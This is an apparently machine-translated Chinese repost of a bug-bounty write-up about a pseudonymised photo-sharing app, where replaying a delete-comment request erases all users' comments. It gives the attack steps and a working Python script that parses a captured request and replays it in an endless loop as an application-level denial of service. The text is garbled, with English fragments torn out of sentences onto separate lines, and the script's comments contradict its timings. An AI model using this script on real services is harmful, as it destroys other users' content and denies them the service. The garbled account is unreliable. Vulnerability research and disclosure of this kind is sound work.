嘿,朋友!这是。我想你,我真的很想。这是一个古老的故事(嗯,实际上就在 2 个月前,但我是为了你做这个,mi amigo 3>)。mrhashimamin
这是关于我在 a 中发现的一个错误(我不会透露任何可能暴露目标的信息,但我想你会弄清楚的,xD)。我们称之为 。public bug bounty program
images-app.com
这是一个用于分享照片、模因等的社交媒体应用程序。用户可以在这些照片上,以及许多其他有趣的功能。react to/add comments
不适用 (N/A) 灾难
在将该应用程序用作、审查旧错误和测试核心功能 () 几天后,我决定专注于该功能。regular user
disclosed reports
reset, login, signup
comment
我从评论开始,尝试其他人的评论,和/或未知错误。什么都不管用。manipulating parameters
adding
edit
triggering any detailed
但问题是这样的:当 对于 时,服务器以 200 OK () 响应。但是,当我多次发送相同的请求时,它仍然 .I deleted my own comment
first time
as expected
200 OKreturned
every time
“那又怎样?”你可能会问。让我们回到 .是的......photo I was testing on
all comments were deleted!
我的错误(请不要这样做)
我太鲁莽了,它立即没有发生的原因。是的,这就是发生的事情。reported
fully understanding
所以,请慢慢来,并始终尝试 .给它一些时间,深入挖掘,如果你仍然一无所获,那就继续报告它。escalate anything you find
more impactful
为什么这是一个错误?
嗯,当 , 他实际上做不到。事情是这样的:当你发送 (例如,3 次) 时,你最终会删除 + — ,但只会直到 .然后,注释 .triager tried to reproduce this
delete request more than once
your own comment
two other comments
new comment is added by another usercome back again
所以,最终,这产生了真正的影响。他们关闭了它,因为他们无法。I didn’t really do anything
N/Areproduce it
使其成为真正的 Bug
我一次又一次地切换到 for,直到我有这个想法:“为什么我不使用 Python 脚本一遍又一遍地自动化整个过程呢?another function
two weeks
所以,我创建了一个简单的 to turn this to transform it to a .以下是步骤:Python script
valid bug
- 攻击者选择任何图像并位于其上。
posts a comment
- 攻击者尝试 捕获请求,并将其保存到 。
delete his own comment
req.txt
- 攻击者使用此 Python 脚本对 、 every (或更少) 执行。
send the request multiple times
5 seconds
Any new comment
添加的将是 和 ,拒绝用户使用 .user
deleted
all existing comments
comment function
Python 脚本:
# Thanks to Chat-GPT btw import requests import time # Function to parse req.txt def parse_request(file_path): with open(file_path, "r") as file: lines = file.readlines() # Parse request line request_line = lines[0].strip() method, url_path, http_version = request_line.split(" ") base_url = "https://www.images-app.com" url = base_url + url_path # Parse headers and body headers = {} body = None is_body = False for line in lines[1:]: line = line.strip() if not line: is_body = True continue if is_body: body = line else: key, value = line.split(": ", 1) headers[key] = value return method, url, headers, body # Function to send the request twice def send_request(method, url, headers, body): for _ in range(5): response = requests.request(method, url, headers=headers, data=body) print(f"Sent request: {response.status_code}") print("$ Waiting for the next cycle $") # Main loop to send requests every 10 minutes file_path = "req.txt" while True: # Parse the request from req.txt method, url, headers, body = parse_request(file_path) # Send the request twice send_request(method, url, headers, body) # Wait for 2 minutes before the next cycle time.sleep(30)
在他们接受它之后,他们(是的,像往常一样典型的骗局)。triaged
P3
downgraded it to a P4
没关系,这就是今天的故事。我希望你觉得这篇文章有用。
原文始发于微信公众号(安全狗的自我修养):从 N/A 到 $$$:一个简单的 Python 脚本导致了应用程序级 DoS
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论